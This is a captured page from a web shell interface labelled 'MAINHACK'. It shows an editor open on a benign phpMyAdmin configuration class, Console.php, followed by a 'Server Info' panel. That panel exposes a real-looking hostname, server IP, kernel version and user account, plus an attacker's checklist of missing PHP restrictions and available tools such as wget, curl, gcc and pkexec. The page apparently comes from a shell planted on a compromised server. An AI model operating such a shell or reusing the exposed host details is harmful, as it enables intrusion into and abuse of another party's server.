[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Console.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Config\Settings; use function in_array; // phpcs:disable Squiz.NamingConventions.ValidVariableName.MemberNotCamelCaps /** * @psalm-immutable */ final class Console { /** @var bool */ public $StartHistory; /** @var bool */ public $AlwaysExpand; /** @var bool */ public $CurrentQuery; /** @var bool */ public $EnterExecutes; /** @var bool */ public $DarkTheme; /** * @var string * @psalm-var 'info'|'show'|'collapse' */ public $Mode; /** * @var int * @psalm-var positive-int */ public $Height; /** @var bool */ public $GroupQueries; /** * @var string * @psalm-var 'exec'|'time'|'count' */ public $OrderBy; /** * @var string * @psalm-var 'asc'|'desc' */ public $Order; /** * @param mixed[] $console */ public function __construct(array $console = []) { $this->StartHistory = $this->setStartHistory($console); $this->AlwaysExpand = $this->setAlwaysExpand($console); $this->CurrentQuery = $this->setCurrentQuery($console); $this->EnterExecutes = $this->setEnterExecutes($console); $this->DarkTheme = $this->setDarkTheme($console); $this->Mode = $this->setMode($console); $this->Height = $this->setHeight($console); $this->GroupQueries = $this->setGroupQueries($console); $this->OrderBy = $this->setOrderBy($console); $this->Order = $this->setOrder($console); } /** * @param mixed[] $console */ private function setStartHistory(array $console): bool { if (isset($console['StartHistory'])) { return (bool) $console['StartHistory']; } return false; } /** * @param mixed[] $console */ private function setAlwaysExpand(array $console): bool { if (isset($console['AlwaysExpand'])) { return (bool) $console['AlwaysExpand']; } return false; } /** * @param mixed[] $console */ private function setCurrentQuery(array $console): bool { if (isset($console['CurrentQuery'])) { return (bool) $console['CurrentQuery']; } return true; } /** * @param mixed[] $console */ private function setEnterExecutes(array $console): bool { if (isset($console['EnterExecutes'])) { return (bool) $console['EnterExecutes']; } return false; } /** * @param mixed[] $console */ private function setDarkTheme(array $console): bool { if (isset($console['DarkTheme'])) { return (bool) $console['DarkTheme']; } return false; } /** * @param mixed[] $console * * @psalm-return 'info'|'show'|'collapse' */ private function setMode(array $console): string { if (isset($console['Mode']) && in_array($console['Mode'], ['show', 'collapse'], true)) { return $console['Mode']; } return 'info'; } /** * @param mixed[] $console * * @psalm-return positive-int */ private function setHeight(array $console): int { if (isset($console['Height'])) { $height = (int) $console['Height']; if ($height >= 1) { return $height; } } return 92; } /** * @param mixed[] $console */ private function setGroupQueries(array $console): bool { if (isset($console['GroupQueries'])) { return (bool) $console['GroupQueries']; } return false; } /** * @param mixed[] $console * * @psalm-return 'exec'|'time'|'count' */ private function setOrderBy(array $console): string { if (isset($console['OrderBy']) && in_array($console['OrderBy'], ['time', 'count'], true)) { return $console['OrderBy']; } return 'exec'; } /** * @param mixed[] $console * * @psalm-return 'asc'|'desc' */ private function setOrder(array $console): string { if (isset($console['Order']) && $console['Order'] === 'desc') { return 'desc'; } return 'asc'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002